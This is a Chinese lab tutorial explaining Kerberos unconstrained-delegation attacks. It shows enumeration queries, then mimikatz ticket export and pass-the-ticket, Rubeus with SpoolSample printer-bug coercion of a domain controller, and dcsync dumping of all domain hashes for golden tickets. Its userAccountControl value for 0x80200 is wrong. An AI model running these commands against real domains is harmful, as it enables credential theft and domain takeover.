Kerberos 域委派攻击之非约束性委派
CSDN文章自动迁移自博客
在Windows 2000 Server 首次发布 Active Directory 时,Microsoft 必须提供一种简单的机制来支持用户通过 Kerberos 向 Web Server 进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“Kerberos 双跳问题”,并且要求进行委派,以便 Web Server 在修改数据库记录时模拟用户。Windows 2000 Server 发布的也是最初的非约束性委派。需要注意的一点是接受委派的用户只能是 服务账户 或者 计算机用户 。委派是域中的一种属性设置,是一个安全敏感的操作。是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限访问域内的其他服务。
如图,域用户 attack/Administrator 通过访问 Web 服务请求下载后台文件服务器中的文件,于是 Web 服务的服务账号 webservice 以域用户 attack/Administrator 的身份通过 Kerberos 认证协议或者其他身份认证协议的方式(其他身份认证协议可能存在于约束性委派或基于资源的约束性委派中,但域内基本上都是设置的仅使用 Kerberos 认证协议)请求后台文件服务器。这就是一个委派的流程。委派主要分为以下三种:
非约束性委派 UD: Unconstrained Delegation
约束性委派 CD: Constrained Delegation
基于资源的约束性委派 RBCD: Resource Based Constrained Delegation
以下是本地操作环境:
域:attack.cn
域控:
主域控:dc 系统:Windows Server 2012 R2 IP:192.168.11.11
辅域控:dc02系统 :Windows Server 2012 R2 IP:192.168.11.13
域内主机:
pc01 IP:192.168.11.15 系统:Windows7
本地管理员:Administrator域账号:attckadmin 密码:123.com
pc02 IP:192.168.11.16 系统:Windows10
本地管理员:Administrator 域账号:zhang 密码:321.com
域用户:
域管:attack\administrator
普通域用户:attack\attackadmin
普通域用户:attack\zhang
配置委派的域用户和服务账号:attack\test
服务账号可以获取被委派用户的 TGT,并将 TGT 缓存到 lsass 进程中,从而服务账号可使用该 TGT,模拟该用户访问域内其他服务。非约束委派的设置需要 SeEnableDelegationPrivilege 权限,该特权通常只有域管理员才有。
在域控上配置非约束性委派
计算机用户的非约束性委派配置:控制面板\系统和安全\管理工具\Active Directory 用户和计算机(%SystemRoot%\system32\dsa.msc)—> 域名/Computers/名称/属性 —> 委派 —> 信任此计算机来委派任何服务 (仅 Kerberos)(T)

配置了非约束性委派属性的计算机用户的userAccountControl属性有个 Flag 位WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x81000=528384。可在 Active Directory 用户和计算机窗口中开启查看的高级功能后选择对应机器名称属性中的属性编辑器中看到,如下图。

服务账号的非约束性委派配置,可以先创建一个普通用户 test
net user test P@ssw0rd /add /domain
普通用户默认没有委派的选项设置,需要给他注册一个服务主体名称(SPN)使其成为一个服务账号
setspn -U -A priv/test test
也可以查找指定 test 用户注册的 SPN
setspn -L test
这时候 test 用户就拥有委派的属性,可以将其设置为非约束性委派

配置了非约束性委派属性的服务账号的userAccountControl属性有个 Flag 位NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION, 其对应的数是0x80200=528384。可在 Active Directory 用户和计算机窗口中开启查看的高级功能后选择对应服务账户名称属性中的属性编辑器中看到,如下图

查询非约束性委派的计算机或服务账号
默认域控是配置了非约束性委派的
PowerView
PowerView 有几个不同的版本,这里用的是 PowerShellEmpire 下的,脚本地址:https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1
# 导入 PowerView 脚本
import-module .\powerview.ps1# 查询域内非约束性委派的计算机
Get-NetComputer -Unconstrained -Domain attack.cn | select name# 查询域内非约束性委派的服务账号
Get-NetAdministrator -Unconstrained -Domain attack.cn | select nameAdfind
下载地址:
该工具不需要账号密码即可查询,其他支持 ldap 协议的工具也可以实现查询
# 查询域内非约束性委派的计算机
AdFind.exe -b "DC=attack,DC=cn" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn# 查询非约束性委派的服务账号
AdFind.exe -b "DC=attack,DC=cn" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
ldapsearch
kali 内置,其他系统安装
# Ubuntu 用户安装
sudo apt install ldap-utils
# mac 用户安装
brew install ldapvi
该工具需要域内任意用户的账号密码,可在域外查询。其他支持 ldap 协议的工具也可以实现查询。
查询域内非约束委派的计算机
# 实测不好用
ldapsearch -LLL -x -H ldap://192.168.11.11:389 -D "zhang@attack.cn" -w "321.com" -b dc=attack,dc=cn "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
查询非约束性委派的服务账号
ldapsearch -LLL -x -H ldap://192.168.11.11:389 -D "test@attack.cn" -w "P@ssw0rd" -b dc=attack,DC=cn "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName非约束性委派攻击
用户 Administrator 去访问服务 service,如果服务 service 的服务账户开启了非约束性委派,那么当用户 Administrator 访问服务 service 的时候会将用户 Administrator 的 TGT 发送给服务 service 并保存在内存中以备下次重用,所以服务 service 能够利用用户 Administrator 的身份去访问用户 Administrator 能够访问的任意服务。
两种攻击方式,一种是诱使域管用户(相当于是域内钓鱼)来访问配置了非约束性委派的主机或服务,二是结合打印机漏洞让域管用户强制回连以缓存 TGT。
模拟域管访问非约束性委派主机
模拟域管用户 attack/Administrator(只要是域管用户,不一定在域控)远程访问非约束性委派主机机 pc02 , pc01 已获得本地管理员权限。常见可利用钓鱼的连接方式可以是 MSSQL 或 IIS,这里演示域管用户 attack/Administrator 直接 IPC 连接 pc01 。
注意:
1、高版本的系统,实测win10启动管理员命令失败,即使启动成功也无法获取,win7域用户状态下,启动管理员权限,需要调用域管登录,然后管理员身份启动cmd,所以这个洞,在某些版本下真的很鸡肋!
2、另外需要注意的一个问题就是,检查域主机的防火墙!
pc02无法访问域控dc.attack.cn
dir \\dc.attack.cn\c$
域管用户 attack/Administrator IPC 连接 pc01
dir \\dc.attack.cn\c$域管用户 attack/Administrator IPC 连接 pc01
net use \\pc01.attack.cn /Administrator:attack\administrator 1qaz@WSX
这适合 pc02 机器就已经有了域管 attack/Administrator 的 TGT 票据,可以用 mimikatz 导出
# mimikatz
privilege::debug
sekurlsa::tickets /exportmimikatz "privilege::debug" "sekurlsa::tickets /export" exit
然后通过 Pass The Ticket(PTT)将 TGT 注入到当前会话中
# mimikatz
kerberos::ptt [0;157a7b]-0-0-40a50000-Administrator@cifs-dc.attack.cn.kirbi
mimikatz "kerberos::ptt [0;157a7b]-0-0-40a50000-Administrator@cifs-dc.attack.cn.kirbi" exit# DOS
dir \\dc.attack.cn\c$

非约束性委派 +Spooler 打印机服务漏洞
利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。
非约束性委派主机结合 Spooler 打印机服务漏洞,让域控机器 dc 强制访问已控的具有本地管理员权限的非约束性委派机器 pc02 ,从而拿到域管理员的 TGT,进而接管域控。
首先利用Rubeus在 pc02 上以 本地 管理员权限执行以下命令,每隔一秒监听来自域控机器 dc 的登录信息
已编译的 Rubeus 下载:
版本:https://github.com/GhostPack/Rubeus/releases/tag/1.6.4
注意:实测win10下,域网络防火墙会自动开启,域用户无法关闭,需本地管理员
# 需要注意:Rubeus的监听,需要在主机管理员用户下监听
Rubeus.exe monitor /interval:1 /filterAdministrator:dc$
再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行
已编译的 SpoolSample 下载:
# 需要注意:打印机服务漏洞,需要在域用户下进行触发,Rubeus的监听,需要在主机管理员用户下监听,所以可以用一台域用户下触发,另一台机器管理员用户去监听,或者切换账户进行监听和触发!
SpoolSample.exe dc pc02
同时 Rubeus 也获取到了来自域控 dc 的 TGT 票据

Rubeus 导入获取到的 TGT 票据
# 最方便的方法我测试到的是使用notepad++
Rubeus.exe ptt /ticket:Base64EncodedTicket
或者:
[IO.File]::WriteAllBytes("ptt.kirbi",[Convert]::FromBase64String(""))
这时候管理员权限运行 mimikatz 就可以获取域内所有用户的 NTLM hash,内存中也有了域管的 TGT 也可以直接 PTT。
mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit"


接下来解密 NTLM hash 后可以直接登录域控,解不开也可以利用 krbtgt 的 NTLM hash 用于做黄金票据权限维持
有了黄金票据也同样可以访问域控了,使用 WinRM 服务来远程连接域控命令执行。
Enter-PSSession -ComputerName dc转载请注明:Adminxe's Blog » Kerberos 域委派攻击之非约束性委派
相关文章:
Kerberos 域委派攻击之非约束性委派
CSDN文章自动迁移自博客在Windows 2000 Server 首次发布 Active Directory 时,Microsoft 必须提供一种简单的机制来支持用户通过 Kerberos 向 Web Server 进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“Kerberos 双跳问题”&#x…...
【容器运行时】一文理解 OCI、runc、containerd、docker、shim进程、cri、kubelet 之间的关系
参考 docker,containerd,runc,docker-shim 之间的关系Containerd shim 进程 PPID 之谜内核大神教你从 Linux 进程的角度看 DockerRunC 简介OCI和runCContainerd 简介从 docker 到 runCDockershim究竟是什么技术干货|Docker和 Con…...
spark兼容性验证
前言 Apache Spark是专门为大规模数据处理而设计的快速通用的计算引擎,Spark拥有Hadoop MapReduce所具有的优点,但不同于Mapreduce的是Job中间输出结果可以保存在内存中,从而不再需要读写HDFS,因此Spark能更好的适用于数据挖掘与…...
docker逃逸复现--pid=host模式下的逃逸
漏洞原理当docker以--pidhost模式启动时,你可以通过在容器进程中注入一些shellcode进行逃逸。相当于给了docker Linux中的CAP_SYS_PTRACE权限--pidhost:意味着宿主机与容器公享一套pid,如此做容器就可以访问并跟踪宿主机的进程Linux中的CAP_S…...
【环境配置】Windows系统下搭建Pytorch框架
【环境配置】Windows系统下搭建Pytorch框架 在Windows Serve 2019系统下搭建Pytorch框架 目录 【环境配置】Windows系统下搭建Pytorch框架1.用驱动总裁安装显卡驱动2.在cmd运行nvidia-smi3.安装cuda4.安装cudnn5.安装pytorch的命令1.首次安装2.操作失误需要重新安装6.安装torc…...
Dockerfile简单使用入门
什么是 Dockerfile? Dockerfile 是一个用来构建镜像的文本文件,文本内容包含了一条条构建镜像所需的指令和说明。 docker build命令用于从Dockerfile构建映像。可以在docker build命令中使用-f标志指向文件系统中任何位置的Dockerfile。 例如࿱…...
什么是CCC认证3C强制认证机构
什么是CCC认证3C强制认证机构? 3C认证的全称为“强迫性产物认证轨制”,它是中国政府为掩护消费者人身平安和国度平安、增强产物品质治理、按照法律法规履行的一种产物及格评定轨制。所谓3C认证,便是中国强迫性产物认证轨制,英文名…...
C语言-基础了解-18-C共用体
C共用体 一、共用体 共用体是一种特殊的数据类型,允许您在相同的内存位置存储不同的数据类型。您可以定义一个带有多成员的共用体,但是任何时候只能有一个成员带有值。共用体提供了一种使用相同的内存位置的有效方式 二、定义共同体 为了定义共用体&…...
Vue基础18之github案例、vue-resource
Vue基础18github案例静态页面第三方样式引入(以bootstrap举例)App.vueSearch.vueList.vue列表展示接口地址使用全局事件总线进行兄弟间组件通信Search.vueList.vue完善案例List.vueSearch.vue补充知识点:{...this.info,...this.dataObj}效果呈…...
UE4 c++ Mediaplayer取消自动播放,运行时首帧为黑屏的问题
0,前言 工作需要使用C制作一个ue4的视频插件,其中一个功能是能够选择 运行时是否自动播放 视频的功能。 在实现时遇见了一个问题,取消自动播放之后,运行时首帧是没有取到的,在场景里面看是黑色的。就这个问题我想到了使…...
C语言-基础了解-17-C结构体
C结构体一、c结构体C 数组允许定义可存储相同类型数据项的变量,结构是 C 编程中另一种用户自定义的可用的数据类型,它允许您存储不同类型的数据项。结构体中的数据成员可以是基本数据类型(如 int、float、char 等),也可…...
Python爬虫实践:优志愿 院校列表
https://www.youzy.cn/tzy/search/colleges/collegeList获取目标网址等信息打开开发人员工具(F12),拿到调用接口的地址,以及接口请求参数等信息,如下curl https://uwf7de983aad7a717eb.youzy.cn/youzy.dms.basiclib.ap…...
Java框架学习 | MySQL和Maven笔记
1.MySQL提问式思考 为什么要有数据库?MySQL的优劣势?Java的优劣势? JavaMySQL开源具有大量的社区成员和丰富的资源免费/具有大量的社区成员和丰富的资源可扩展性多态、继承和接口等分区、复制和集群等方式扩展数据库的容量和性能安全性有许…...
C++入门教程||C++ 变量作用域||C++ 常量
C 变量作用域 作用域是程序的一个区域,一般来说有三个地方可以声明变量: 在函数或一个代码块内部声明的变量,称为局部变量。在函数参数的定义中声明的变量,称为形式参数。在所有函数外部声明的变量,称为全局变量。 我…...
想找工作,这一篇15w字数+的文章帮你解决
文章目录前言一 专业技能1. 熟悉GoLang语言1.1 Slice1.2 Map1.3 Channel1.4 Goroutine1.5 GMP调度1.6 垃圾回收机制1.7 其他知识点2. 掌握Web框架Gin和微服务框架Micro2.1 Gin框架2.2 Micro框架2.3 Viper2.4 Swagger2.5 Zap2.6 JWT3. 熟悉使用 MySQL 数据库3.1 索引3.2 事务3.3…...
Mac brew搭建php整套开发环境
Homebrew完整版,安装时间较长/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"精简版/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" speednginxBrew sear…...
111 e
全部 答对 答错 单选题 4.一个项目已经执行了两个多月,出乎意料的是,项目经理收到一封来自高级管理层的电子邮件,指出项目发起人正在请求变更项目开工会议的日期,项目经理未能执行哪项活动? A为项目管理计划制定基准…...
Cookie和Session
1. Cookie饼干 1.1 什么是Cookie? Cookie翻译过来就是饼干的意思Cookie是服务器通知客户端保存键值对的一种技术客户端有了Cookie后,每次请求都发送给服务器每个Cookie的大小不能超过4kb 1.2 如何创建Cookie BaseServlet 程序 package com.gdhd;impo…...
git上传下载
拉取: 先在电脑中创建一个文件夹用来存放要从码云上拉下来的项目并且用Git打开输入 git remote add origin + (想要下拉的项目的地址http/ssh)第一次拉取代码,输入码云的用户名(自己设置的个人地址名)和码云的账号密码 git pull origin master 拉取完成OK 上传: 进行 G…...
如何使用码匠连接 Oracle
目录 在码匠中集成 Oracle 在码匠中使用 Oracle 关于码匠 Oracle 是一种关系型数据库,可用于存储和管理大量结构化数据。Oracle 数据源支持多种操作系统,包括 Windows、Linux 和 Unix 等,同时也提供了各种工具和服务,例如 Orac…...
C++_核心编程_多态案例二-制作饮品
#include <iostream> #include <string> using namespace std;/*制作饮品的大致流程为:煮水 - 冲泡 - 倒入杯中 - 加入辅料 利用多态技术实现本案例,提供抽象制作饮品基类,提供子类制作咖啡和茶叶*//*基类*/ class AbstractDr…...
FFmpeg 低延迟同屏方案
引言 在实时互动需求激增的当下,无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作,还是游戏直播的画面实时传输,低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架,凭借其灵活的编解码、数据…...
什么是Ansible Jinja2
理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具,可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板,允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板,并通…...
【JVM面试篇】高频八股汇总——类加载和类加载器
目录 1. 讲一下类加载过程? 2. Java创建对象的过程? 3. 对象的生命周期? 4. 类加载器有哪些? 5. 双亲委派模型的作用(好处)? 6. 讲一下类的加载和双亲委派原则? 7. 双亲委派模…...
虚拟电厂发展三大趋势:市场化、技术主导、车网互联
市场化:从政策驱动到多元盈利 政策全面赋能 2025年4月,国家发改委、能源局发布《关于加快推进虚拟电厂发展的指导意见》,首次明确虚拟电厂为“独立市场主体”,提出硬性目标:2027年全国调节能力≥2000万千瓦࿰…...
PHP 8.5 即将发布:管道操作符、强力调试
前不久,PHP宣布了即将在 2025 年 11 月 20 日 正式发布的 PHP 8.5!作为 PHP 语言的又一次重要迭代,PHP 8.5 承诺带来一系列旨在提升代码可读性、健壮性以及开发者效率的改进。而更令人兴奋的是,借助强大的本地开发环境 ServBay&am…...
Web后端基础(基础知识)
BS架构:Browser/Server,浏览器/服务器架构模式。客户端只需要浏览器,应用程序的逻辑和数据都存储在服务端。 优点:维护方便缺点:体验一般 CS架构:Client/Server,客户端/服务器架构模式。需要单独…...
GraphQL 实战篇:Apollo Client 配置与缓存
GraphQL 实战篇:Apollo Client 配置与缓存 上一篇:GraphQL 入门篇:基础查询语法 依旧和上一篇的笔记一样,主实操,没啥过多的细节讲解,代码具体在: https://github.com/GoldenaArcher/graphql…...
pgsql:还原数据库后出现重复序列导致“more than one owned sequence found“报错问题的解决
问题: pgsql数据库通过备份数据库文件进行还原时,如果表中有自增序列,还原后可能会出现重复的序列,此时若向表中插入新行时会出现“more than one owned sequence found”的报错提示。 点击菜单“其它”-》“序列”,…...
手动给中文分词和 直接用神经网络RNN做有什么区别
手动分词和基于神经网络(如 RNN)的自动分词在原理、实现方式和效果上有显著差异,以下是核心对比: 1. 实现原理对比 对比维度手动分词(规则 / 词典驱动)神经网络 RNN 分词(数据驱动)…...
